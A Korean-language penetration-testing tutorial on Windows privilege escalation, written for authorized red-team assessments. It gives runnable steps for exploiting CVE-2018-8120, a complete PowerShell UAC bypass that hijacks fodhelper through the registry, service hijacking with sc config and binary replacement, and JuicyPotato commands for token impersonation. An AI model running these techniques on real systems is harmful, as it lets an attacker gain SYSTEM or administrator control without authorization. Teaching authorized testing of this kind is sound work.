서문
모의 침투 테스트 또는 레드팀 운영에서 낮은 권한의 초기 세션을 획득하는 것은 시작에 불과합니다. 권한 상승(Privilege Escalation)은 공격의 깊이와 영향 범위를 결정짓는 핵심 단계입니다. 본 문서는 Windows 환경에서 자주 사용되는 권한 상승 기법을 체계적으로 다룹니다. 시스템 취약점 악용, UAC 우회, 서비스 오남용, 그리고 Potato 계열 도구 활용법을 구체적인 코드와 절차와 함께 설명하여, 승인된 평가에서 체계적으로 권한을 높일 수 있도록 돕습니다.
레거시 취약점을 통한 권한 상승: CVE-2018-8120
취약점 개요
이 취약점은 Windows 커널 모드 드라이버 win32k.sys의 SetImeInfoEx 함수가 널 포인터를 적절히 처리하지 못하여 발생합니다. 로컬 공격자는 낮은 권한에서 이 취약점을 이용해 임의 코드를 실행하고 SYSTEM 권한을 획득할 수 있습니다. 해당 취약점은 '위험' 수준으로 분류되며, 안정적이고 광범위한 영향을 미칩니다.
영향을 받는 버전
- Windows 7 (32/64비트)
- Windows Server 2008 R2 (64비트)
- Windows Server 2008 (32/64비트)
- Windows Server 2012 (일부 패치 이전 버전)
악용 코드
공개된 악용 도구로는 CVE-2018-8120.exe (보안 연구원 unamer 등이 컴파일) 및 해당 소스 코드(C++)가 있습니다. 이 악용 프로그램은 일반적으로 프로세스 ID를 인자로 받아 셸코드를 주입하거나 SYSTEM 프로세스를 직접 실행합니다.
취약점 악용 절차
전제 조건
- 대상 시스템의 낮은 권한 셸(IIS, 일반 사용자 등)을 이미 획득해야 합니다.
- 대상 시스템에 관련 패치(KB4131188 또는 이후 업데이트)가 설치되지 않아야 합니다.
단계별 실행
- 악용 프로그램 업로드
CVE-2018-8120.exe를 대상 시스템의 쓰기 가능한 디렉토리(예:C:\ProgramData\또는C:\Windows\Temp\)에 업로드합니다. - 현재 권한 확인
whoami # 출력 예시: nt authority\iusr (낮은 권한) - 권한 상승 실행
SYSTEM으로 직접 권한 상승:
일부 버전은 PID(예:CVE-2018-8120.exeexplorer.exe의 PID)를 지정해야 함:CVE-2018-8120.exe 1234 - 결과 확인
whoami명령어를 실행하여nt authority\system이 반환되면 권한 상승 성공입니다.
참고: 이 취약점을 악용할 때 시스템 블루스크린(BSOD)이 발생할 수 있으므로, 먼저 테스트 환경에서 검증하는 것이 좋습니다. 또한 Windows 10 이상 버전은 이 취약점의 영향을 받지 않습니다.
UAC 우회를 통한 권한 상승
UAC(사용자 계정 컨트롤)는 Windows의 보안 메커니즘으로, 관리자 계정이라도 로그인 후에는 기본적으로 표준 사용자 권한으로 실행되며, 민감한 작업 수행 시 확인 창을 띄웁니다. UAC를 우회하면 확인 창을 띄우지 않고 조용히 관리자 권한으로 상승할 수 있습니다.
일반적인 우회 전략
- 허용 목록 프로그램 하이재킹: 시스템이 신뢰하는 실행 파일(예:
fodhelper.exe,sdclt.exe,computerdefaults.exe)을 이용해 악성 DLL을 로드하거나 레지스트리를 수정하여 조용히 권한 상승을 수행합니다. - COM 객체 우회: 높은 권한의 COM 인터페이스(예:
CMSTPLUA)를 호출하여 명령을 실행합니다. - 원격 코드 주입: 높은 권한의 프로세스에 코드를 주입합니다.
활용 도구
1. UACME (Akagi)
수십 가지 우회 방법을 통합한 유명한 UAC 우회 프로젝트입니다.
- 컴파일된
Akagi.exe(또는UACME.exe)를 다운로드합니다. - 사용 방법:
여기서Akagi.exe 61 C:\Users\Public\payload.exe61은 우회 방법의 번호이며, 시스템에 따라 다른 방법이 적용됩니다.(Akagi.exe list로 목록 확인 가능)
2. PowerShell 활용
fodhelper.exe를 사용한 UAC 우회(Windows 10에 적용):
# payload를 가리키는 레지스트리 키 생성
New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Name "(default)" -Value "C:\Windows\System32\cmd.exe /c C:\Users\Public\payload.exe" -Force
# fodhelper 실행 트리거
Start-Process "C:\Windows\System32\fodhelper.exe"
실행 및 확인
UAC를 우회하면 payload.exe가 관리자 권한으로 실행됩니다. 이후 추가로 관리자 사용자를 생성하거나 다른 권한 상승 작업을 수행할 수 있습니다. 실행 후 whoami /groups 명령어로 Mandatory Label\High Mandatory Level 표시가 포함되어 있는지 확인하면 됩니다.
Windows 서비스를 통한 권한 상승
Windows 서비스는 기본적으로 SYSTEM, LocalService 또는 NetworkService 권한으로 실행됩니다. 낮은 권한의 사용자가 특정 서비스의 바이너리 파일 또는 서비스 구성에 대해 쓰기 권한을 가지고 있으면, 서비스를 하이재킹하여 권한을 상승시킬 수 있습니다.
악용 시나리오
1. 서비스 바이너리 쓰기 가능
sc qc명령어로 서비스 구성을 확인합니다:sc qc VulnerableServiceBINARY_PATH_NAME경로에 주목합니다.- 현재 사용자가 해당 파일에 대한 쓰기 권한이 있는지 확인합니다:
icacls C:\Program Files\VulnService\service.exe - 수정 권한이 있다면 서비스 프로그램을 교체합니다:
copy payload.exe C:\Program Files\VulnService\service.exe /Y - 서비스를 재시작합니다(시작/중지 권한이 있는 경우):
net stop VulnerableService net start VulnerableService
2. 서비스 구성 권한 부적절
accesschk.exe(Sysinternals 도구)를 사용하여 서비스 권한을 확인합니다:
accesschk.exe -uwcqv "BUILTIN\Users" *
결과에 현재 사용자가 특정 서비스에 대해 SERVICE_ALL_ACCESS 또는 SERVICE_CHANGE_CONFIG 권한이 있는 것으로 나타나면, 서비스 구성을 수정할 수 있습니다:
sc config VulnerableService binPath= "C:\Users\Public\payload.exe" obj= "LocalSystem"
sc start VulnerableService
실전 도구
- PowerUp: PowerShell 스크립트로,
Invoke-AllChecks등을 통해 서비스 권한 상승 가능성을 자동으로 탐지합니다. - WinPEAS: 다기능 정보 수집 도구로, 쓰기 가능한 서비스를 열거할 수 있습니다.
관련 서비스를 이용한 권한 상승 (Potato 계열)
"Potato" 계열은 Windows 토큰 위조 기술을 활용한 권한 상승 기법입니다. 주로 서비스 계정(IIS, MSSQL 등)을 대상으로 SYSTEM 권한으로 상승시키는 데 사용됩니다. 핵심 원리는 SYSTEM 권한의 프로세스(예: DCOM 활성화)가 공격자가 제어하는 서비스와 NTLM 인증을 수행하도록 유도하여 토큰을 캡처하고 이를 가장(impersonate)하는 것입니다.
주요 변종
- Hot Potato: 가장 초기 변종으로, NBNS 스푸핑, WPAD 프록시 하이재킹 및 NTLM 릴레이를 결합합니다.
- Juicy Potato: 가장 널리 사용되는 버전으로, CLSID를 통해 SYSTEM 서비스 연결을 트리거하며 다양한 Windows 버전을 지원합니다.
- Rogue Potato: 포트 리스닝 제한을 우회하는 개선된 버전입니다.
- Sweet Potato: 여러 기술을 통합한 도구입니다.
Juicy Potato 활용 절차
- JuicyPotato.exe와 페이로드(예: nc.exe 또는 Beacon 페이로드) 업로드
예시:JuicyPotato.exe -l 1337 -p C:\Users\Public\payload.exe -t * -c {CLSID}-l: 로컬 리스닝 포트.-p: 실행할 프로그램(SYSTEM으로 상승됨).-t *: 프로세스 생성 시 CreateProcessWithToken 사용.-c: 대상 시스템과 일치하는 CLSID 지정.
- CLSID 획득
Windows 버전별 CLSID 목록은 프로젝트 Wiki를 참조하세요. 일반적인 공통 값:{4991d34b-80a1-4291-83b6-3328366b9097} # Windows 10/Server 2016+ - 실행 및 확인
실행 후CreateProcessWithToken OK가 출력되면 페이로드가 SYSTEM 권한으로 실행된 것입니다.
적용 시나리오
- 현재 사용자가 SeImpersonatePrivilege 또는 SeAssignPrimaryTokenPrivilege 권한을 가진 사용자(예:
IIS APPPOOL\DefaultAppPool,NT SERVICE\TrustedInstaller)인 경우. whoami /priv명령어로 현재 권한을 확인하고, 상기 특권이 존재하면 시도해 볼 수 있습니다.
| 권한 상승 유형 | 대표 기술 | 적용 시나리오 | 주의사항 |
|---|---|---|---|
| 시스템 취약점 | CVE-2018-8120 | 패치되지 않은 Win7/2008 | 블루스크린 가능성, 안정성 영향 |
| UAC 우회 | fodhelper, Akagi | 제한된 관리자 사용자 | 로그인된 사용자 세션 필요 |
| 서비스 권한 상승 | PowerUp, sc config | 잘못 구성된 서비스 | 서비스 재시작 필요 가능성 |
| Potato 계열 | JuicyPotato | 서비스 계정(예: IIS) | SeImpersonate 권한에 의존 |